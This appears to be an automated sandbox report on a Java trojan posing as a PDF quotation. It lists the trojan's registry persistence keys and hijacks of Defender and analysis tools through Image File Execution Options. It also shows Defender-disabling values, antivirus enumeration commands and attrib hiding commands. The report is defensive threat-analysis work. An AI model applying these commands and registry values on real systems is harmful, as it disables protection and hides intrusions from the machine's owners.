6a36a0d694602b12841d4e7128fc87a9c8f21730069e46e53c924721c6fb96cb

Analysis

max time kernel
150s
max time network
144s
platform
windows7_x64
resource
win7
submitted
13-07-2020 06:58

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

URGENT QUOTATION.PDF.jar
Size

403KB
MD5

ebd06502ce342277b68df53cadb463f6
SHA1

838b17cd4b5678f5743e1c6b2ea20266c1754be8
SHA256

6a36a0d694602b12841d4e7128fc87a9c8f21730069e46e53c924721c6fb96cb
SHA512

1d130eef42911ee7cb65fae3173e8a750fa5155204a69cdd1807d72a1277271d7297dde918c48f4652f9ee80903b35e512dec8a13b8504d031c06b2c675de56b

Score

10^/10

discovery persistence evasion trojan

Malware Config

Signatures

Adds Run entry to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

java.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\gwjxXxT = "\"C:\\Users\\Admin\\Oracle\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\LdlkM\\lAdax.class\""	java.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Windows\CurrentVersion\Run	java.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Windows\CurrentVersion\Run\gwjxXxT = "\"C:\\Users\\Admin\\Oracle\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\LdlkM\\lAdax.class\""	java.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce	java.exe

Kills process with taskkill 16 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
2008	taskkill.exe
1952	taskkill.exe
1628	taskkill.exe
1852	taskkill.exe
1692	taskkill.exe
1940	taskkill.exe
1216	taskkill.exe
1576	taskkill.exe
484	taskkill.exe
1324	taskkill.exe
1464	taskkill.exe
1568	taskkill.exe
1804	taskkill.exe
1924	taskkill.exe
1868	taskkill.exe
1332	taskkill.exe

Sets file execution options in registry 2 TTPs 32 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wireshark.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe\debugger = "svchost.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\text2pcap.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\text2pcap.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tshark.exe\debugger = "svchost.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCuiL.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tshark.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dumpcap.exe\debugger = "svchost.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wireshark.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rawshark.exe\debugger = "svchost.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ConfigSecurityPolicy.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCuiL.exe\debugger = "svchost.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dumpcap.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\capinfos.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe\debugger = "svchost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ConfigSecurityPolicy.exe\debugger = "svchost.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rawshark.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\capinfos.exe\debugger = "svchost.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe	reg.exe

Drops file in System32 directory 2 IoCs

Processes:

java.exe

description ioc process

File created C:\Windows\System32\lhSEv java.exe
File opened for modification C:\Windows\System32\lhSEv java.exe

description	ioc	process
File created	C:\Windows\System32\lhSEv	java.exe
File opened for modification	C:\Windows\System32\lhSEv	java.exe

Suspicious use of WriteProcessMemory 759 IoCs

Processes:

java.execmd.execmd.execmd.exe

description	pid	process	target process
PID 1312 wrote to memory of 368	1312	java.exe	cmd.exe
PID 1312 wrote to memory of 368	1312	java.exe	cmd.exe
PID 1312 wrote to memory of 368	1312	java.exe	cmd.exe
PID 1312 wrote to memory of 816	1312	java.exe	cmd.exe
PID 1312 wrote to memory of 816	1312	java.exe	cmd.exe
PID 1312 wrote to memory of 816	1312	java.exe	cmd.exe
PID 816 wrote to memory of 1072	816	cmd.exe	WMIC.exe
PID 816 wrote to memory of 1072	816	cmd.exe	WMIC.exe
PID 816 wrote to memory of 1072	816	cmd.exe	WMIC.exe
PID 1312 wrote to memory of 1520	1312	java.exe	cmd.exe
PID 1312 wrote to memory of 1520	1312	java.exe	cmd.exe
PID 1312 wrote to memory of 1520	1312	java.exe	cmd.exe
PID 1520 wrote to memory of 1492	1520	cmd.exe	WMIC.exe
PID 1520 wrote to memory of 1492	1520	cmd.exe	WMIC.exe
PID 1520 wrote to memory of 1492	1520	cmd.exe	WMIC.exe
PID 1312 wrote to memory of 1808	1312	java.exe	attrib.exe
PID 1312 wrote to memory of 1808	1312	java.exe	attrib.exe
PID 1312 wrote to memory of 1808	1312	java.exe	attrib.exe
PID 1312 wrote to memory of 1816	1312	java.exe	attrib.exe
PID 1312 wrote to memory of 1816	1312	java.exe	attrib.exe
PID 1312 wrote to memory of 1816	1312	java.exe	attrib.exe
PID 1312 wrote to memory of 1848	1312	java.exe	attrib.exe
PID 1312 wrote to memory of 1848	1312	java.exe	attrib.exe
PID 1312 wrote to memory of 1848	1312	java.exe	attrib.exe
PID 1312 wrote to memory of 1860	1312	java.exe	attrib.exe
PID 1312 wrote to memory of 1860	1312	java.exe	attrib.exe
PID 1312 wrote to memory of 1860	1312	java.exe	attrib.exe
PID 1312 wrote to memory of 1872	1312	java.exe	attrib.exe
PID 1312 wrote to memory of 1872	1312	java.exe	attrib.exe
PID 1312 wrote to memory of 1872	1312	java.exe	attrib.exe
PID 1312 wrote to memory of 1332	1312	java.exe	attrib.exe
PID 1312 wrote to memory of 1332	1312	java.exe	attrib.exe
PID 1312 wrote to memory of 1332	1312	java.exe	attrib.exe
PID 1312 wrote to memory of 1792	1312	java.exe	attrib.exe
PID 1312 wrote to memory of 1792	1312	java.exe	attrib.exe
PID 1312 wrote to memory of 1792	1312	java.exe	attrib.exe
PID 1312 wrote to memory of 1772	1312	java.exe	attrib.exe
PID 1312 wrote to memory of 1772	1312	java.exe	attrib.exe
PID 1312 wrote to memory of 1772	1312	java.exe	attrib.exe
PID 1312 wrote to memory of 1896	1312	java.exe	cmd.exe
PID 1312 wrote to memory of 1896	1312	java.exe	cmd.exe
PID 1312 wrote to memory of 1896	1312	java.exe	cmd.exe
PID 1896 wrote to memory of 1564	1896	cmd.exe	reg.exe
PID 1896 wrote to memory of 1564	1896	cmd.exe	reg.exe
PID 1896 wrote to memory of 1564	1896	cmd.exe	reg.exe
PID 1312 wrote to memory of 1660	1312	java.exe	powershell.exe
PID 1312 wrote to memory of 1660	1312	java.exe	powershell.exe
PID 1312 wrote to memory of 1660	1312	java.exe	powershell.exe
PID 1312 wrote to memory of 1504	1312	java.exe	reg.exe
PID 1312 wrote to memory of 1504	1312	java.exe	reg.exe
PID 1312 wrote to memory of 1504	1312	java.exe	reg.exe
PID 1312 wrote to memory of 1952	1312	java.exe	reg.exe
PID 1312 wrote to memory of 1952	1312	java.exe	reg.exe
PID 1312 wrote to memory of 1952	1312	java.exe	reg.exe
PID 1312 wrote to memory of 1924	1312	java.exe	taskkill.exe
PID 1312 wrote to memory of 1924	1312	java.exe	taskkill.exe
PID 1312 wrote to memory of 1924	1312	java.exe	taskkill.exe
PID 1312 wrote to memory of 2016	1312	java.exe	reg.exe
PID 1312 wrote to memory of 2016	1312	java.exe	reg.exe
PID 1312 wrote to memory of 2016	1312	java.exe	reg.exe
PID 1312 wrote to memory of 2004	1312	java.exe	reg.exe
PID 1312 wrote to memory of 2004	1312	java.exe	reg.exe
PID 1312 wrote to memory of 2004	1312	java.exe	reg.exe
PID 1896 wrote to memory of 1980	1896	cmd.exe	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

reg.exereg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1660 powershell.exe
1660 powershell.exe

pid	process
1660	powershell.exe
1660	powershell.exe

Checks for installed software on the system 1 TTPs 52 IoCs

discovery

Query Registry

T1012

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\software\microsoft\windows\currentversion\uninstall	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Office14.PROPLUS\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F06417080FF}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001F-040C-1000-0000000FF1CE}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0117-0409-1000-0000000FF1CE}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}\DisplayName	reg.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall	reg.exe
Key opened	\REGISTRY\MACHINE\software\Wow6432Node\microsoft\windows\currentversion\uninstall	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001B-0409-1000-0000000FF1CE}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0043-0000-1000-0000000FF1CE}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0044-0409-1000-0000000FF1CE}\DisplayName	reg.exe
Key enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall	reg.exe
Key enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0115-0409-1000-0000000FF1CE}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132}.KB4087364\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0011-0000-1000-0000000FF1CE}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0016-0409-1000-0000000FF1CE}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0018-0409-1000-0000000FF1CE}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0019-0409-1000-0000000FF1CE}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001F-0409-1000-0000000FF1CE}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-00A1-0409-1000-0000000FF1CE}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0170800}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001F-0C0A-1000-0000000FF1CE}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-002C-0409-1000-0000000FF1CE}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0043-0409-1000-0000000FF1CE}\DisplayName	reg.exe
Key opened	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\software\microsoft\windows\currentversion\uninstall	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MozillaMaintenanceService\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}\DisplayName	reg.exe
Key opened	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\software\microsoft\windows\currentversion\uninstall	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0015-0409-1000-0000000FF1CE}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{09CCBE8E-B964-30EF-AE84-6537AB4197F9}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-006E-0409-1000-0000000FF1CE}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}\DisplayName	reg.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Firefox 75.0 (x64 en-US)\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001A-0409-1000-0000000FF1CE}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-00BA-0409-1000-0000000FF1CE}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-1033-7B44-A90000000001}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip\DisplayName	reg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player\DisplayName	reg.exe

Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490
Views/modifies file attributes 1 TTPs 8 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exe

pid process

1792 attrib.exe
1772 attrib.exe
1808 attrib.exe
1816 attrib.exe
1848 attrib.exe
1860 attrib.exe
1872 attrib.exe
1332 attrib.exe

pid	process
1792	attrib.exe
1772	attrib.exe
1808	attrib.exe
1816	attrib.exe
1848	attrib.exe
1860	attrib.exe
1872	attrib.exe
1332	attrib.exe

Drops desktop.ini file(s) 4 IoCs

Processes:

attrib.exejava.exeattrib.exe

description	ioc	process
File opened for modification	C:\Users\Admin\LdlkM\Desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\LdlkM\Desktop.ini	java.exe
File created	C:\Users\Admin\LdlkM\Desktop.ini	java.exe
File opened for modification	C:\Users\Admin\LdlkM\Desktop.ini	attrib.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

java.exe

pid process

1312 java.exe

pid	process
1312	java.exe

Suspicious use of AdjustPrivilegeToken 97 IoCs

Processes:

WMIC.exeWMIC.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	1072	WMIC.exe
Token: SeSecurityPrivilege	1072	WMIC.exe
Token: SeTakeOwnershipPrivilege	1072	WMIC.exe
Token: SeLoadDriverPrivilege	1072	WMIC.exe
Token: SeSystemProfilePrivilege	1072	WMIC.exe
Token: SeSystemtimePrivilege	1072	WMIC.exe
Token: SeProfSingleProcessPrivilege	1072	WMIC.exe
Token: SeIncBasePriorityPrivilege	1072	WMIC.exe
Token: SeCreatePagefilePrivilege	1072	WMIC.exe
Token: SeBackupPrivilege	1072	WMIC.exe
Token: SeRestorePrivilege	1072	WMIC.exe
Token: SeShutdownPrivilege	1072	WMIC.exe
Token: SeDebugPrivilege	1072	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1072	WMIC.exe
Token: SeRemoteShutdownPrivilege	1072	WMIC.exe
Token: SeUndockPrivilege	1072	WMIC.exe
Token: SeManageVolumePrivilege	1072	WMIC.exe
Token: 33	1072	WMIC.exe
Token: 34	1072	WMIC.exe
Token: 35	1072	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1072	WMIC.exe
Token: SeSecurityPrivilege	1072	WMIC.exe
Token: SeTakeOwnershipPrivilege	1072	WMIC.exe
Token: SeLoadDriverPrivilege	1072	WMIC.exe
Token: SeSystemProfilePrivilege	1072	WMIC.exe
Token: SeSystemtimePrivilege	1072	WMIC.exe
Token: SeProfSingleProcessPrivilege	1072	WMIC.exe
Token: SeIncBasePriorityPrivilege	1072	WMIC.exe
Token: SeCreatePagefilePrivilege	1072	WMIC.exe
Token: SeBackupPrivilege	1072	WMIC.exe
Token: SeRestorePrivilege	1072	WMIC.exe
Token: SeShutdownPrivilege	1072	WMIC.exe
Token: SeDebugPrivilege	1072	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1072	WMIC.exe
Token: SeRemoteShutdownPrivilege	1072	WMIC.exe
Token: SeUndockPrivilege	1072	WMIC.exe
Token: SeManageVolumePrivilege	1072	WMIC.exe
Token: 33	1072	WMIC.exe
Token: 34	1072	WMIC.exe
Token: 35	1072	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1492	WMIC.exe
Token: SeSecurityPrivilege	1492	WMIC.exe
Token: SeTakeOwnershipPrivilege	1492	WMIC.exe
Token: SeLoadDriverPrivilege	1492	WMIC.exe
Token: SeSystemProfilePrivilege	1492	WMIC.exe
Token: SeSystemtimePrivilege	1492	WMIC.exe
Token: SeProfSingleProcessPrivilege	1492	WMIC.exe
Token: SeIncBasePriorityPrivilege	1492	WMIC.exe
Token: SeCreatePagefilePrivilege	1492	WMIC.exe
Token: SeBackupPrivilege	1492	WMIC.exe
Token: SeRestorePrivilege	1492	WMIC.exe
Token: SeShutdownPrivilege	1492	WMIC.exe
Token: SeDebugPrivilege	1492	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1492	WMIC.exe
Token: SeRemoteShutdownPrivilege	1492	WMIC.exe
Token: SeUndockPrivilege	1492	WMIC.exe
Token: SeManageVolumePrivilege	1492	WMIC.exe
Token: 33	1492	WMIC.exe
Token: 34	1492	WMIC.exe
Token: 35	1492	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1492	WMIC.exe
Token: SeSecurityPrivilege	1492	WMIC.exe
Token: SeTakeOwnershipPrivilege	1492	WMIC.exe
Token: SeLoadDriverPrivilege	1492	WMIC.exe

Loads dropped DLL 1 IoCs

Processes:

java.exe

pid process

1312 java.exe

pid	process
1312	java.exe

C:\Windows\system32\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\URGENT QUOTATION.PDF.jar"
1⤵
- Adds Run entry to start application
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
- Drops desktop.ini file(s)
- Suspicious use of SetWindowsHookEx
- Loads dropped DLL
PID:1312

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:368

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:816

C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1072

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:1520

C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /Format:List
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1492

C:\Windows\system32\attrib.exe
attrib +h C:\Users\Admin\Oracle
2⤵
- Views/modifies file attributes
PID:1808

C:\Windows\system32\attrib.exe
attrib +h +r +s C:\Users\Admin\.ntusernt.ini
2⤵
- Views/modifies file attributes
PID:1816

C:\Windows\system32\attrib.exe
attrib -s -r C:\Users\Admin\LdlkM\Desktop.ini
2⤵
- Views/modifies file attributes
- Drops desktop.ini file(s)
PID:1848

C:\Windows\system32\attrib.exe
attrib +s +r C:\Users\Admin\LdlkM\Desktop.ini
2⤵
- Views/modifies file attributes
- Drops desktop.ini file(s)
PID:1860

C:\Windows\system32\attrib.exe
attrib -s -r C:\Users\Admin\LdlkM
2⤵
- Views/modifies file attributes
PID:1872

C:\Windows\system32\attrib.exe
attrib +s +r C:\Users\Admin\LdlkM
2⤵
- Views/modifies file attributes
PID:1332

C:\Windows\system32\attrib.exe
attrib +h C:\Users\Admin\LdlkM
2⤵
- Views/modifies file attributes
PID:1792

C:\Windows\system32\attrib.exe
attrib +h +s +r C:\Users\Admin\LdlkM\lAdax.class
2⤵
- Views/modifies file attributes
PID:1772

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:1896

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall" /reg:64
3⤵
- Checks for installed software on the system
PID:1564

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall" /reg:32
